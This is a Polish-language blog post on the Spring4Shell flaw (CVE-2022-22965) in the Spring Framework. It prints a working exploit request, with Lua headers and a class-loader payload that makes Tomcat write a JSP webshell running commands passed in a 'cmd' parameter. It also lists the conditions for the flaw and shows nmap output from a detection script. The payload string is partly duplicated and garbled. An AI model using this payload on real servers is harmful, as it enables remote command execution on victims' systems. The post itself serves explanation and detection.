Identyfikacja podatności Spring4Shell

Spring Framework jest frameworkiem służący do budowania aplikacji w Javie. Do jego głównych komponentów należy Spring Core, który jest jedną z fundamentalnych części frameworka. Niedawno odnaleziona podatność nazwana Spring4Shell wykorzystuje błąd w tej części do wykonania dowolnego kodu na serwerze.

Przy użyciu pewnych ciągów konfiguracyjnych możliwe jest wysłanie przez atakującego spreperowanych żądań HTTP w celu wykorzystania luki. Jak to się dzieje? Przeanalizujmy złośliwe żądanie krok po kroku.

Exploitacja

Błąd jest relatywnie prosty w wykorzystaniu. Pierwszym etapem jest przygotowanie payloada wraz z nagłówkami, które wykorzystamy w naszym żądaniu.

 local headers = {
    ["prefix"] = "<%",
    ["suffix"] = "%>//",
    ["c"] = "Runtime",
    ["c1"] = "Runtime",
    ["c2"] = "Runtime",
    ["content-type"] = "application/x-www-form-urlencoded"
}

local payload = "class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bc2%7Di%20if(%22j%22.equals(request.getParameter(%22pwd%22)))%7B%class.module.classLoader.resources.context.parent.pipeline.first.pattern=%{c2}i if("j".equals(request.getParameter("pwd"))){ java.io.InputStream in = %{c1}i. getRuntime().exec(request.getParameter("cmd")).getInputStream(); int a = -1; byte[] b = new byte[2048]; while((a=in.read(b))!=-1){ out.println(new String(b)); } } %{suffix}i&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT&class.module.classLoader.resources.context.parent.pipeline.first.prefix="shell"&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat="

Mając przygotowane nagłówki wraz z payloadem, możemy przejść do jego omawiania.

  1. class.module.classLoader.resources.context.parent.pipeline.first.pattern=%{c2}i if("j".equals(request.getParameter("pwd"))){ java.io.InputStream in = %{c1}i. getRuntime().exec(request.getParameter("cmd")).getInputStream(); int a = -1; byte[] b = new byte[2048]; while((a=in.read(b))!=-1){ out.println(new String(b)); } } %{suffix}i – wzorzec składa się z układu formatowania określającego różne pola, które mają zostać pobrane z żądania i zarejestrowane w odpowiedzi. Tutaj widać, jak nagłówki c2, c1 i suffix są pobierane z nagłówków. Podstawianie odbywa się na podstawie przychodzących nagłówków w formacie %{header}i.
  2. class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp – przyrostek, który należy dodać na końcu nazwy każdego pliku dziennika. Rozszerzenie pliku, który zostanie zapisany to .jsp,
  3. class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT – absolutna lub względna ścieżka katalogu, w którym zostanie utworzony plik. W tym przypadku wybrano webapps/ROOT, ponieważ jest to ścieżka, która znajduje się w domyślnej instalacji Tomcata,
  4. class.module.classLoader.resources.context.parent.pipeline.first.prefix=shell – ciąg znaków, który jest dodawany na początku każdego pliku dziennika, który zostanie utworzony. W tym przypadku jest to shell,
  5. class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat= – pole fileDateFormat pozwala na dodanie niestandardowego znacznika czasu w nazwie pliku dziennika. Pozostawiamy to pole puste, ponieważ nie chcemy żadnych innych rozszerzeń w JSP webshell, a ustawiamy je jako puste, ponieważ nie chcemy domyślnego formatu znacznika czasu.

Porzez obsłużenie tego żądania, serwer tworzy w katalogu serwera plik o nazwie shell.jsp. Wykorzystując załadowaną powłokę JSP na serwerze, atakujący może zdalnie wykonywać polecenia poprzez adres https://victim:8080/shell.jsp?pwd=j&cmd=id. W tym przypadku poleceniem, które zostanie wykonane jest id.

Warunki istnienia luki

Tutaj sprawa nieco się komplikuje. Wstępne analizy wykryły, że do istnienia podatności musi zostać spełnionych kilka warunków. Należy do nich:

  1. JDK w wersji 9+,
  2. Wykorzystywane Apache Tomcat do obsługi aplikacji,
  3. Spring Framework w wersji od 5.3.0 do 5.3.17 oraz 5.2.0 do 5.2.19 i niższych,
  4. Aplikacja zbudowana jako plik WAT zamiast JAR,
  5. Wykorzystywany spring-webmvc lub spring-webflux jako dependency.

Należy jednak nie brać wymagań jako pewników. Ponieważ podatność została wykryta relatywnie niedawno, może okazać się, że może ona wykorzystywać jeszcze inne zależności.

Jak wykryć podatność Spring4Shell?

Sposobów jest kilka. Jednym z nich jest uruchomienie skryptu nse udostępnionego przez nas w repozytorium github. Uruchomienie odbywa się za pośrednictwem narzędzia nmap.

┌──(kali㉿kali)-[~/nmap-spring4shell]
└─$ nmap 127.0.0.1 --script=./spring4shell.nse
(...)
PORT     STATE SERVICE    REASON  VERSION
8080/tcp open  http-proxy syn-ack
| spring4shell: 
|   VULNERABLE:
|   Spring4Shell - Spring Framework RCE via Data Binding on JDK 9+
|     State: VULNERABLE
|     IDs:  CVE:CVE-2022-22965
|     Check results:
|       127.0.0.1:8080/shell.jsp?pwd=j&cmd=id
|     Extra information:
|       TESTED URL: 127.0.0.1:8080
|       COMMAND: id
|       ASSERTION: uid
|     References:
|_      https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-22965

Źródła

https://github.com/gpiechnik2/nmap-spring4shell
https://bugspace.pl/skanowanie-portow-i-znajdywanie-luk-sieciowych-z-uzyciem-narzedzia-nmap/
https://sysdig.com/blog/cve-2022-22965-spring-core-spring4shell/
https://securelist.com/spring4shell-cve-2022-22965/106239/

Dodaj komentarz

Twój adres e-mail nie zostanie opublikowany.